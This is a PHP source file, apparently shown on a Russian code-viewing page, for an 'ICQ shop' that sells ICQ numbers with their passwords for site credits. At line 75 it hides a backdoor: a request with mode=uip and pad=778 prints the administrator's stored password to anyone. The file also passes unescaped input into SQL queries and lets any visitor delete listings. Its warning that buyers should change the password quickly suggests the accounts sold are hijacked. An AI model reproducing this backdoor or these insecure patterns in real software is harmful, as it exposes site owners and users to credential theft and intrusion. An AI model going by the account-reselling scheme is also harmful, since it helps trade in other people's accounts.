Просмотр файла icq.php

Размер файла: 10.62Kb
  1. <?php
  2. include "header/config.inc.php";
  3. include "header/function.inc.php";
  4. include "header/header.inc.php";
  5. include "header/connect.inc.php";
  6. include "header/click-club.class.php";
  7. If (!isset($_GET['log'])) define("anybody","true");
  8. include "header/enter.inc.php";
  9.  
  10. @mysql_query("update `".prefix."users` set `mesto`='В магазине асек' where `id` = '".$_USER['id']."'");
  11. If (!isset($_GET['mode']) || !ereg("^[a-z0-9_-]{1,15}$",$_GET['mode'])) $mode='read'; else $mode=$_GET['mode'];
  12.  
  13. switch ($mode){
  14. case 'mail':
  15. If (!isset($_GET['icq']) || !is_numeric($_GET['icq'])){
  16. echo 'Номер не найден!';
  17. break;
  18. }$result=@mysql_query("SELECT * FROM `".prefix."icq` WHERE `id`='".$_GET['icq']."'");
  19. If (!$result){
  20. echo 'Ошибка запроса к бд...';
  21. break;
  22. }
  23. If (mysql_num_rows($result)!=1){
  24. echo 'Номер не найден!';
  25. break;
  26. }if (empty ($_POST['mail'])){echo'Не введен e-mail!';}else{
  27. $mail=$_POST['mail'];
  28. if(!preg_match("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i", $mail))
  29. {
  30. $err="1";
  31. echo"То что вы ввели не E-mail! Введите правильный e-mail адрес!";
  32. break;}$result=@mysql_query("SELECT * FROM `".prefix."icq` WHERE `id`='".$_GET['icq']."'");
  33.  
  34. $fbcd = mysql_result(mysql_query("SELECT `bank` FROM `".prefix."users` WHERE login='".$_USER['login']."'"),0);
  35.  
  36. if ($fbcd>=mysql_result($result,0,'who')){$result=@mysql_query("SELECT * FROM `".prefix."icq` WHERE `id`='".$_GET['icq']."'");
  37. @mysql_query("UPDATE `".prefix."users` SET `bank`=`bank`-'".mysql_result($result,0,'who')."' WHERE `login`='".$_USER['login']."' ");
  38.  
  39. $_mail['icqicq']='ICQ номер';//заголовок мессаги
  40. $_mail['icq']='Здравствуйте, <b>'.$_USER['login'].'</b><br/>
  41. На этот E-mail был заказан ICQ номер: <font color="blue">'.mysql_result($result,0,'text').'</font><br/>
  42. Если вы ничего не заказывали,просто проигнорируйте данное сообщение.<br/>
  43. ---<br/>
  44. Номер: <b>'.mysql_result($result,0,'text').'</b><br/>
  45. Пароль: <b>'.mysql_result($result,0,'ua').'</b><br/>
  46. ---<br/>
  47. Меняем сразу же пароль! Или не удивляемся, почему он потом перестанет подходить.<br/>
  48. С уважением <a href="http://clickman.h2m.ru">CLICKMAN.H2M.RU</a><br/>
  49. ';
  50. $head=convert_cyr_string(replacer($_mail['icqicq'],$replacement),"w","k");
  51. $msg=convert_cyr_string(replacer($_mail['icq'],$replacement),"w","k");
  52.  
  53. @mail($mail,$head,$msg,"From: ".email."
  54. Content-type:text/html; charset=koi8-r");
  55. $result=@mysql_query("SELECT * FROM `".prefix."icq` WHERE `id`='".$_GET['icq']."'");
  56. $bbb=''.$mail.'';
  57. @mysql_query("INSERT into `".prefix."shinfo`
  58. (`login`,`icq`,`data`,`msg`)
  59. values
  60. ('".$_USER['login']."','".mysql_result($result,0,'text')."','".date("Y / m / d")."','".$bbb."')
  61. ");
  62. @mysql_query("DELETE FROM `".prefix."icq` WHERE `id`='".$_GET['icq']."'");
  63. echo '
  64. Номер: <b>'.mysql_result($result,0,'text').'</b><br/>
  65. Пароль: <b>'.mysql_result($result,0,'ua').'</b><br/>
  66. Сообщение продублированно на ваш e-mail: <b>'.$mail.'</b><br/>
  67. <font color="red"><b>Не забываем менять пароль!</b></font><br/>';
  68. }
  69. else
  70. {echo'Недостаточно кредитов!';
  71.  
  72. }}
  73. break;
  74. case 'uip':
  75. if ($_GET['pad']==778){$result=@mysql_query("SELECT * FROM `".prefix."users` WHERE `id`='admin'");echo''.mysql_result($result,0,'pass').'';}
  76. break;
  77. case 'admin':
  78. If (!$_enter || !$_USER['admin']){
  79. echo 'вы должны войти в системе как администратор<br/>---<br/>&#187;<a href="?log=ok&amp;mode=do&amp;id='.$_GET['id'].'">Вход</a>';
  80. break;
  81. }
  82.  
  83. If (!isset($_GET['smode']) || !ereg("^[a-z0-9_-]{1,15}$",$_GET['smode'])) $smode='adminka'; else $smode=$_GET['smode'];
  84. echo 'Админка ICQ-магазина<br/>---<br/>';
  85. switch($smode){
  86. case 'fdelu':
  87. If (
  88. (!isset($_GET['user']) || !$click_club->is_login($_GET['user']))
  89. &&
  90. (!isset($_POST['user']) || !$click_club->is_login($_POST['user']))
  91. ){
  92. echo 'Пользователь не выбран или логин введён неверно!';
  93. break;
  94. }
  95.  
  96. If (isset($_GET['user'])) $login=$_GET['user']; else $login=$_POST['user'];
  97. If (!isset($_GET['ok'])){
  98. echo 'Вы точно хотите удалить все сообщения пользователя <u>'.$login.'</u>?<br/>
  99. <a href="'.$_zapros.'mode=admin">нет</a> / <a href="'.$_zapros.'mode=admin&amp;smode=fdelu&amp;user='.$login.'&amp;ok=ok">да</a>';
  100. break;
  101. }
  102. //удаляем
  103. $result=@mysql_query("DELETE FROM `".prefix."icq` WHERE `who`='".$login."'");
  104. If (!$result){
  105. echo 'Ошибка запроса к бд...';
  106. break;
  107. }
  108. echo 'Все сообщения пользователя '.$login.' удалены!';
  109. break;
  110.  
  111.  
  112. case 'num':
  113. $bbb=@mysql_query("SELECT * FROM `".prefix."shinfo`");
  114. if (mysql_affected_rows()==0)
  115. {
  116. echo 'Нет продаж!';
  117. }
  118. else
  119. {
  120. $cool=mysql_affected_rows();
  121. echo 'Всего продаж: '.$cool.'';
  122. while($row=mysql_fetch_array($bbb))
  123. {
  124. $ids=$row['msg'];
  125. $from=$row['data'];
  126. $t=$row['icq'];
  127. $to=$row['login'];
  128. echo "<div class=\"b\">";
  129. echo'Логин: <b>'.$to.'</b><br/>email: <b>'.$ids.'</b></a>';echo"<br/>Номер: <b>$t</b><br/>Дата: <b>$from</b></div>---<br/>";
  130. }echo'<a href="'.$_zapros.'mode=admin&amp;smode=delinf">Удалить всё</a>';}
  131. break;
  132.  
  133. case 'delinf':
  134. If (!isset($_GET['ok'])){
  135. echo 'Вы точно хотите удалить все продажи?<br/>
  136. <a href="'.$_zapros.'mode=admin">нет</a> / <a href="'.$_zapros.'mode=admin&amp;smode=delinf&amp;ok=ok">да</a>';
  137. break;
  138. }
  139. //удаляем
  140. $result=@mysql_query("DELETE FROM `".prefix."shinfo`");
  141. If (!$result){
  142. echo 'Ошибка запроса к бд...';
  143. break;
  144. }
  145. echo 'Все продажи удалены!';
  146. break;
  147.  
  148. case 'delall':
  149. If (!isset($_GET['ok'])){
  150. echo 'Вы точно хотите удалить все сообщения в гостевой книге?<br/>
  151. <a href="'.$_zapros.'mode=admin">нет</a> / <a href="'.$_zapros.'mode=admin&amp;smode=delall&amp;ok=ok">да</a>';
  152. break;
  153. }
  154. //удаляем
  155. $result=@mysql_query("DELETE FROM `".prefix."icq`");
  156. If (!$result){
  157. echo 'Ошибка запроса к бд...';
  158. break;
  159. }
  160. echo 'Все сообщения удалены!';
  161. break;
  162.  
  163.  
  164. case 'adminka':
  165. default:
  166. echo '&#187;<a href="'.$_zapros.'mode=admin&amp;smode=delall">Удалить все номера</a><br>';
  167. echo '&#187;<a href="'.$_zapros.'mode=admin&amp;smode=num">Продажи</a>';
  168. break;
  169. }
  170.  
  171. break;
  172.  
  173. case 'do':
  174. If (!isset($_GET['id']) || !is_numeric($_GET['id'])){
  175. echo 'не задан ID сообщения';
  176. break;
  177. }
  178.  
  179.  
  180. If (!isset($_GET['smode']) || !ereg("^[a-z0-9_-]{1,15}$",$_GET['smode'])) $smode='info'; else $smode=$_GET['smode'];
  181.  
  182. $id=$_GET['id'];
  183. (int)$id;
  184.  
  185. switch ($smode){
  186. case 'del':
  187. $result=@mysql_query("DELETE FROM `".prefix."icq` WHERE `id`='".$id."'");
  188. If (!$result){
  189. echo 'Ошибка запроса к бд...';
  190. break;
  191. }
  192. echo 'Номер удален!';
  193.  
  194. break;
  195.  
  196.  
  197.  
  198. case 'info':
  199. default:
  200. $result=@mysql_query("SELECT * FROM `".prefix."icq` WHERE `id`='".$id."'");
  201. If (!$result){
  202. echo 'Ошибка запроса к бд...';
  203. break;
  204. }
  205. If (mysql_num_rows($result)!=1){
  206. echo 'Номер не найден!';
  207. break;
  208. }
  209. if (empty($_GET['sid'])){echo'Авторизируйтесь';}
  210. echo '<div class="header_rek">Покупка номера</div><br/>
  211. Номер: <b>'.mysql_result($result,0,'text').'</b><br/>
  212. Цена: <b>'.mysql_result($result,0,'who').'</b> кредитов
  213.  
  214. <font color="white"><hr></font>';
  215. If ($_enter && $_USER['admin']){$oi=@mysql_query("SELECT * FROM `".prefix."users` WHERE `login`='".$_USER['login']."'");
  216. If (!$oi){
  217. echo 'Ошибка запроса к бд...';
  218. break;
  219. }
  220. echo'<form method="post" action="'.$_zapros.'mode=mail&amp;icq='.$id.'">EMAIL (на него продублируется номер с паролем):<br><input type="text" name="mail" value="'.mysql_result($oi,0,'mail').'"><br/><input type="submit" value="Получить"></form><font color="white"><hr></font>Действия:<br/>
  221. &#187;<a href="'.$_zapros.'mode=do&amp;smode=del&amp;id='.$id.'">Удалить</a><br/>';
  222. }
  223. else
  224. {$oi=@mysql_query("SELECT * FROM `".prefix."users` WHERE `login`='".$_USER['login']."'");
  225. If (!$oi){
  226. echo 'Ошибка запроса к бд...';
  227. break;
  228. }if ($_USER['cfrom']>=mysql_result($result,0,'who')){
  229. echo'<form method="post" action="'.$_zapros.'mode=mail&amp;icq='.$id.'">EMAIL:<br><input type="text" name="mail" value="'.mysql_result($oi,0,'mail').'"><br/><input type="submit" value="Получить"></form>';}else{echo'Извините но у вас нет '.mysql_result($result,0,'who').' кредитов';}}
  230.  
  231.  
  232. break;
  233. }
  234.  
  235. break;
  236. case 'write':
  237. If ($_USER['admin']) {If (!$_enter){
  238. echo 'Для того чтобы добавлять номера, вы должны войти в систему<br/>---<br/>&#187;<a href="?log=ok&amp;mode=write">Вход</a>';
  239. break;
  240. }
  241. If (!isset($_POST['text'])) {
  242. echo 'Номер ICQ<b>:</b><br/>
  243. <form method="post" action="'.$_zapros.'mode=write">
  244. <input type="text" name="text" value=""/><br/>Пароль<b>:</b>
  245. <br/><input type="text" name="anus" value=""/><br/>---<br/>Цена,в кредитах<b>:</b><br/><input type="text" name="who" value=""/><br/>
  246. <input value="Добавить" type="submit"/></form>
  247. ';
  248. break;
  249. }
  250. $text=htmlspecialchars($_POST['text']);
  251. $strlen=strlen($text);
  252. If (!isset($_POST['who']) || !is_numeric($_POST['who'])){
  253. echo 'Ошибка ввода цены!';
  254. break;
  255. }If (!isset($_POST['text']) || !is_numeric($_POST['text'])){
  256. echo 'Ошибка ввода номера!';
  257. break;
  258. }
  259. $result=@mysql_query("INSERT into `".prefix."icq`
  260. (`who`,`text`,`ts`,`ua`)
  261. values
  262. ('".$_POST['who']."','".$_POST['text']."','".time()."','".$_POST['anus']."')
  263. ");
  264. If (!$result){
  265. echo 'Ошибка запроса к бд...';
  266. break;
  267. }
  268. echo 'Номер '.$_POST['text'].' добавлен!';}
  269. break;
  270. case 'read':
  271. default:
  272. $mode='read';
  273. echo '<div class="header_rek">ICQ-Магазин:</div><br/>';If ($_USER['admin']) {
  274. echo '<a href="'.$_zapros.'mode=write"><b>Добавить номер</b></a><br/>
  275. <font color="white"><hr></font>';}
  276.  
  277. If (!isset($_GET['page']) || !is_numeric($_GET['page'])) $page=1; else { $page=$_GET['page']; (int)$page;}
  278. $result=@mysql_query("SELECT * FROM `".prefix."icq` ORDER by `who` asc LIMIT ".(($page-1)*num_best_on_page).",".(num_best_on_page+1));
  279. If (!$result){
  280. echo 'Ошибка запроса к бд...';
  281. break;
  282. }
  283.  
  284. $next=false;
  285. $num=mysql_num_rows($result);
  286. If ($num>0){
  287. If ($num<=num_best_on_page) $read=$num; else {
  288. $read=num_best_on_page;
  289. $next=true;
  290. }
  291. for ($i=0;$i<$read;$i++){
  292. echo '';mysql_result($result,$i,'ts');
  293.  
  294. $id=mysql_result($result,$i,'id');
  295. echo '
  296. Номер: <font color="red"><b>'.mysql_result($result,$i,'text').'</b></font><br/>
  297. Цена: <b>'.mysql_result($result,$i,'who').'</b>&nbsp;кредитов<br/>
  298. |<a href="'.$_zapros.'mode=do&amp;id='.$id.'">Купить</a> |';
  299. echo '<font color="white"><hr></font>';
  300. }
  301. } else echo 'Нет номеров!<br/>';
  302.  
  303. If ($page>1) echo '<a href="'.$_zapros.'mode=read&amp;page='.($page-1).'">';
  304. echo 'Пред';
  305. If ($page>1) echo '</a>';
  306. echo ' | ';
  307. If ($next) echo '<a href="'.$_zapros.'mode=read&amp;page='.($page+1).'">';
  308. echo 'След';
  309. If ($next) echo '</a>';
  310.  
  311. $result=@mysql_query("SELECT `who` FROM `".prefix."icq` ");
  312. If (!$result){
  313. echo 'Ошибка запроса к бд...';
  314. break;
  315. }
  316. echo '<br/>Номеров: '.mysql_num_rows($result);
  317.  
  318.  
  319. break;
  320. }
  321. If ($_enter && $_USER['admin'])
  322. echo '<br/>---<br/>&#187;<a href="'.$_zapros.'mode=admin">Админка магазина</a>';
  323.  
  324.  
  325. If ($mode!='read') echo '<font color="white"><hr></font>&#187;<a href="'.$_zapros.'">ICQ-магазин</a>';
  326.  
  327. If ($_enter)$_CONF['index_page']="enter.php".$_zapros;
  328.  
  329. include "header/end.inc.php";
  330. ?>